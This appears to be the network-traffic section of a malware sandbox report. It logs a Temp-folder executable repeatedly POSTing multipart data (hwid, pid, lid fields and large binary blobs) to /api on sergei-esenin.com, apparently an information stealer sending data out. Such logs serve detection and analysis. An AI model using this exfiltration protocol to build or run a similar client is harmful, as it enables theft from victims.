2024-10-24 02:58:21 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:22 UTC	1022	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vbio95vkssj51ilk5akh6uca2t; expires=Sun, 16 Feb 2025 20:45:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uNM2SSCIL6Mr2WBbIUFfIDTvOELm1jlLVtdN7qqQ7BtB14BRoUprv%2FU6%2B2yMVR%2B2igp9mU5SXIKvkqqNsnipJeFWYlZ09rP%2BUNmWZhJhcsksUGt73LwwSBeuzJ3Dfh%2BdyC92sA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b465da9e6c3d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1213&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13894&delivery_rate=2425460&cwnd=238&unsent_bytes=0&cid=af45f74112e42fa9&ts=424&x=0"
2024-10-24 02:58:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50004	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:23 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: sergei-esenin.com
2024-10-24 02:58:23 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:24 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pcunl3eng3dajgtn06ijpliqmm; expires=Sun, 16 Feb 2025 20:45:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iIQ5WPkcQYx4%2BKt5wC%2FoVriisIvd5G7CiwqGJSV6RUJJK%2BpJK7oGFZ3%2BXw0PkXPFbBJHPIfyptavdu0gyZe45GpQpRBuUBtfzye%2BMhifwioFbDSn7gyeixyzrPOcvgdKjtz72A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b471efee6b67-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=983&sent=8&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16140&delivery_rate=2844793&cwnd=251&unsent_bytes=0&cid=fa0d5b2354925ad9&ts=425&x=0"
2024-10-24 02:58:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50005	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:25 UTC	372	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: sergei-esenin.com
2024-10-24 02:58:25 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:25 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-24 02:58:25 UTC	1031	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7a786jogc9hdv7bh5h0rg0692i; expires=Sun, 16 Feb 2025 20:45:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgIObQ26UNI%2Fz6UX%2B%2Fn9imPosnXKWL5Sb6t4CBtvHcgd%2B%2B7LAR0809fP3ji90V3TyX5Z9PWRbJwPlbD4whEaWRhBg652JeMsShfEHhrloCbE%2B9C%2B%2B%2FeQYFNrVmde9i0bQhO9rg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b47ac9ac476a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1097&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21020&delivery_rate=2639927&cwnd=251&unsent_bytes=0&cid=ff3724d55049cb15&ts=550&x=0"
2024-10-24 02:58:25 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50006	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:26 UTC	371	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1238 Host: sergei-esenin.com
2024-10-24 02:58:26 UTC	1238	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:27 UTC	1014	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:58:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o4vv20cortojipnengbp3f0hbq; expires=Sun, 16 Feb 2025 20:45:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UeIT%2FY5TyA0tSyeJlcRwoBlWCiWweinaapY5T9qdYKYb8rhofQcwXu8QhOe1ajCmfyDIwPdlXx2Kms59z8EIz3gUEGH1QM3w%2F50IAis0rZVBMWsavLcDIsJ6JHYj5ycCZqkZ0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d76b4859dae6c37-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2245&delivery_rate=2164424&cwnd=230&unsent_bytes=0&cid=322e93411a29daa8&ts=368&x=0"
2024-10-24 02:58:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 0d 0a Data Ascii: 11ok 173.254.250.71
2024-10-24 02:58:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50010	104.21.53.8	443	6836	C:\Users\user\AppData\Local\Temp\1001102001\3f779c1cca.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 02:58:29 UTC	373	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Vem6QzaiqZJURHa3lMe7iDflSjuGrTb7yeRBacZUlYA-1729738699-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 578926 Host: sergei-esenin.com
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 32 31 31 33 43 37 30 35 44 39 42 35 41 37 42 42 45 35 36 33 35 33 41 34 33 34 41 44 32 42 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"02113C705D9B5A7BBE56353A434AD2B5--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: ee 00 d0 bf d3 d3 e2 00 c1 1d 62 0f 1d 7d 5d 87 8b 3e 7a 4c 99 cb 79 cd 7e d4 c0 00 a5 f9 9a 22 46 a0 b3 00 f3 f6 c0 31 41 79 e6 50 cb 6f df 7c 53 aa 59 d0 44 ca 82 08 12 16 81 f5 15 7a 3b a2 fc fc f8 81 a5 1a 56 0b d7 81 b1 38 87 d6 4c 27 7d 51 7e 7d 53 a4 2b 25 d8 11 81 b1 ef 81 d7 6b 5a de dd df 5b cd 6b b2 81 d7 a7 76 30 87 03 8f 8c 29 b9 2c 44 c8 f1 03 11 ba 7e 9d 21 1a eb 9d c0 cc 33 f2 11 41 71 f6 0c d3 54 62 e0 ed 18 83 33 1d d6 10 fd b0 64 2f 1f b8 9c 94 ee e0 86 03 4d 72 1c 5b 63 74 ac 48 a6 43 29 24 ab 02 53 44 b8 45 1a 54 3f f6 e7 94 f0 b8 2f 08 42 ed 92 f4 72 e4 40 31 c3 61 82 59 cb 93 2a 3b 53 9a f1 94 2a 33 19 f5 41 58 9a 51 04 ac 5d 77 a6 8b 8a 31 85 e7 31 f3 46 a9 db 4d 01 2e 72 ac 7a 47 41 0e 69 4d ae 86 f1 20 c3 3b f8 90 20 99 44 45 7c Data Ascii: b}]>zLy~"F1AyPo\|SYDz;V8L'}Q~}S+%kZ[kv0),D~!3AqTb3d/Mr[ctHC)$SDET?/Br@1aY;S3AXQ]w11FM.rzGAiM ; DE\|
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: b3 85 57 32 5e 79 65 c7 64 56 ed 4a 4d c5 9b 36 c4 9b ca 2e 0c 6b d4 d2 e4 30 b0 ca 16 75 da 5c 45 c0 5e 99 a7 20 be da e2 9b 79 66 b0 d7 36 84 e4 28 6b ae 3e d0 34 e6 bc 79 86 2a e0 61 19 34 b8 fc 87 4f a5 a9 6c 30 55 e8 c9 92 fc 6f 4c 11 84 63 06 07 59 aa 13 bc e3 16 ad 94 aa e2 76 d1 43 14 8c 33 cd 62 75 d1 24 d4 c6 8b 4f 2b df 65 d7 6b c5 6e 28 d1 f5 27 e5 1b ee 4e a3 1a ca ca b7 75 16 12 72 8d 3c 88 7b 55 3e c5 55 eb 89 90 58 5e 5f 4d 48 1e b8 dc 32 ac 44 f7 3f a1 1d 65 59 2b 5c af f4 b3 d9 59 74 35 1c 46 8c 73 e6 11 77 ef 8b d6 36 39 1a 1c e4 bb f0 e3 47 e8 cc dc b9 98 8c f9 12 4d c0 03 4d 4b 77 2d 27 a0 48 ad af 6a fa b6 5a a4 90 bf a9 e3 0e c9 2c a4 7b b3 e9 ac 20 aa ee 0f bb af ed 4a 0d 21 fb 58 a3 a9 ce eb 0a 63 8d a8 89 2b c0 ea 21 85 30 47 58 Data Ascii: W2^yedVJM6.k0u\E^ yf6(k>4y*a4Ol0UoLcYvC3bu$O+ekn('Nur<{U>UX^_MH2D?eY+\Yt5Fsw69GMMKw-'HjZ,{ J!Xc+!0GX
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 2d a0 57 a6 57 3b e0 58 ae 6d 81 c5 8f b6 ed 46 f5 9b 30 1c f3 76 e5 70 cd 47 5b 1e ef 87 be 9f 3f 9c 55 86 53 37 aa 25 99 f0 6f b3 b5 5e 3d 00 77 4a 13 6c 80 8a f4 f2 c6 a1 70 ca 7a d8 e1 87 7c 29 8c 73 10 ca cc dd 0f b8 1f e9 b3 98 15 a2 64 58 fd 89 c9 55 79 32 d7 a8 bc 6f a0 f3 a3 6f cb 25 a5 70 a6 aa 02 d6 67 cc be 75 85 c4 9b e1 b6 ff d5 b1 ca 65 8a 44 86 10 1f ee c3 c0 22 63 79 4d 4b 39 9a cc fa cc 0d f8 4e 5d c7 67 98 00 6c c6 56 7c 9a 55 3b 7b f2 bd 6b f1 75 2e 59 72 93 d3 5e 77 55 ef 58 de c5 28 51 93 52 1f 3f f7 f9 26 f4 ea 9e db 94 69 57 2b 29 e4 e6 f8 07 22 17 d0 e7 fe 04 8a 61 dd 8c 9b 1a 08 55 7a d0 07 cf 66 b0 b8 1d 4a f7 d7 c0 b4 93 e2 ad a6 ca 04 e6 89 06 8e 72 1c e5 38 ad aa 88 0e 9e 56 4a 9d 0b e4 8a cc a7 c2 73 f0 43 5a cd cf b8 94 bf Data Ascii: -WW;XmF0vpG[?US7%o^=wJlpz\|)sdXUy2oo%pgueD"cyMK9N]glV\|U;{ku.Yr^wUX(QR?&iW+)"aUzfJr8VJsCZ
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 8d 79 63 35 98 47 96 11 d3 75 06 32 32 83 e4 2b 02 b5 fb 31 f1 34 be e9 15 07 49 92 8c 96 6b 5a 78 14 c9 53 39 f3 66 57 d7 4e 58 e9 3b 63 98 dd e1 f3 5b 99 f1 2b b7 8e db a4 45 89 1d e5 f9 81 30 85 91 f9 6f 1c c2 c9 56 73 c2 3c ae 27 13 54 05 04 03 7c 46 45 de fd ae 31 f5 36 b1 ce 40 dd e6 1c 51 94 b8 b0 fd c1 db 32 2d ba 54 3b f9 91 11 ea 6e f7 8c f0 2b 0e 57 58 66 f4 3d 31 95 0f 45 16 86 b8 d3 fa d3 b3 1d 41 a4 2b 6c 6f b6 b4 f2 95 21 0f 37 0e 8c 36 c1 b4 2c b1 5a 90 f1 d9 7e 39 b9 e3 0c 37 0e 0d 19 4a bc 6c b5 bc bd c3 47 14 3d 6a 61 db 8d 9b c4 34 0c 44 3a fe e7 af fe 7f 2f 56 5c 60 6d 12 66 8e 82 94 2b 88 fa 80 5b 48 2d 24 a8 3c 37 9c 4a 40 91 21 7e c7 ce 46 4f d1 9a 5a 79 04 32 e1 75 58 80 9c 96 9d e7 fa cc 0b 6e 71 79 9f 0b 47 5f c5 bd a5 7c 6b 7c Data Ascii: yc5Gu22+14IkZxS9fWNX;c[+E0oVs<'T\|FE16@Q2-T;n+WXf=1EA+lo!76,Z~97JlG=ja4D:/V\`mf+[H-$<7J@!~FOZy2uXnqyG_\|k\|
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 3f 8b 3a 76 14 e2 fc 78 d3 f2 32 e2 f5 9d a3 e0 b4 8f b3 d4 a6 05 30 a1 c7 86 96 f2 0a ed 0d 0f 77 49 4f dc 89 b9 5e f9 e1 13 56 a5 aa 26 f8 29 a5 00 bb df 1b 71 f7 b0 2f b8 f3 bb e7 7b 2b bb 28 d8 6b 57 75 bb 39 d8 24 9c aa c4 6a df f4 14 e4 6d 6d 65 59 6c c6 62 bd 2e 0b 7f 3a 65 b1 eb e4 44 0f 9c 61 39 ef 3e 83 db 7d 4f 78 e5 6d 7d 18 4f 72 e9 e2 35 a1 67 5d ce c2 73 13 b1 08 bf 83 78 3c de 29 cd 40 0f 1d 9a c2 ef 2a 15 f3 d5 96 31 f5 e7 45 5f 18 17 90 e0 7e a7 86 f3 01 f2 56 2c fd c3 ae 14 d9 f4 e9 85 ce e0 a1 a2 42 c7 1d 19 a3 b0 d3 f9 ca 27 a5 70 6d 5c 58 8f 5f 56 6d 7d a7 48 b3 82 96 56 e9 4f 63 a2 00 f5 af f3 e7 84 77 af a0 29 95 59 7b 47 66 89 2a f9 5f 9f 15 da eb c5 f6 47 72 22 82 4e 9d 64 9b 55 3b 9f d7 2b 68 bd 46 f6 68 25 20 8c a0 60 d1 55 88 Data Ascii: ?:vx20wIO^V&)q/{+(kWu9$jmmeYlb.:eDa9>}Oxm}Or5g]sx<)@1E_~V,B'pm\X_Vm}HVOcw)Y{Gf_Gr"NdU;+hFh% `U
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 50 cb ef 8f e2 da 12 b8 57 12 10 7a 11 84 c4 b5 7b 46 54 a3 10 11 ec 72 4a c4 99 44 84 e1 31 6e 79 98 ed 46 1d 35 9f 64 2e 7d 68 fd 52 29 41 f9 d8 17 f2 b1 2f cc 77 fd 36 4a dc 8d 0b 40 1c 85 3d 88 c8 80 e0 0d f9 51 e7 b1 63 95 87 c6 ff b2 bc 2d a4 4a 91 a1 cb 90 64 6d 29 22 63 8a 53 45 6f f1 be db d3 92 54 b9 aa ba 22 ae 51 f1 c9 03 f4 3a d9 85 a0 18 52 fe de d5 62 2a fc 0b 4b 93 4b b9 b5 7a 89 98 d9 6b 23 e6 b0 49 ff 97 4c 5d 45 5e df 51 8e 16 a5 9f 5e 22 b0 f3 c0 de bc 94 e0 2f 01 8b 8f 64 c3 ee fb ac 86 b7 b1 8f 6d 9b a5 7f fd 78 f1 8b ff fc bd 49 d6 c0 08 9b f9 6f 5d f5 51 d6 9f ea 47 77 1c ab 8f 22 41 46 c3 7c 30 f7 15 2e e0 39 34 f0 b8 76 a1 5a 1c 54 05 96 d8 1e 45 52 b4 b5 21 8a 46 23 bb b6 48 85 f5 8c f6 cd 56 17 9b e2 00 18 87 9e e8 5f bc fa 65 Data Ascii: PWz{FTrJD1nyF5d.}hR)A/w6J@=Qc-Jdm)"cSEoT"Q:Rb*KKzk#IL]E^Q^"/dmxIo]QGw"AF\|0.94vZTER!F#HV_e
2024-10-24 02:58:29 UTC	15331	OUT	Data Raw: 70 9f 03 c4 eb e4 af 9b b5 05 d7 c7 b9 1f d9 a9 be 82 e7 95 9b 6a 13 23 6a c5 9b fc 53 37 f4 95 1a 8d 56 5c ab a6 80 c2 b2 14 1b 9e b7 ca 7c 72 8a 3c 92 e7 ff ef 77 83 d6 90 97 dc 8d 97 a0 eb 2a b7 61 c2 de 3c 8c 57 be c7 88 7c 48 2c 67 ea f0 20 37 d7 90 5e c7 5d 16 d5 19 bb 53 f6 c2 e7 0c 43 d9 0e 87 4b ad 63 5e 83 ce 46 b7 05 ef 87 1d 61 bf 1c e6 ce 88 09 b2 64 6e d4 2b b6 cc 3b 80 2f 58 5c a3 7e 50 d0 46 1b 74 fe 0c 28 05 97 cd e9 bb 8c e2 ae 05 3e 5c 29 52 b8 0f 22 9d 7f 27 ec 38 f9 3f 08 82 e2 0d 74 5f 05 ed c8 8a 24 7b 6a 33 d9 ce da e2 4a ae f7 3e 49 a5 0e bb 34 e6 46 7e 6c 9c 32 62 77 80 85 60 ff b6 90 32 c4 cf e5 a9 ff 91 ce 8e 71 b1 21 1a f8 14 9b 5a 0e 2f 72 98 1f ee 59 e9 41 cf f5 e8 40 35 1d 80 be 36 75 59 2d 28 6e 79 ae 7d c3 17 49 3f 43 09 Data Ascii: pj#jS7V\\|r<w*a<W\|H,g 7^]SCKc^Fadn+;/X\~PFt(>\)R"'8?t_${j3J>I4F~l2bw`2q!Z/rYA@56uY-(ny}I?C
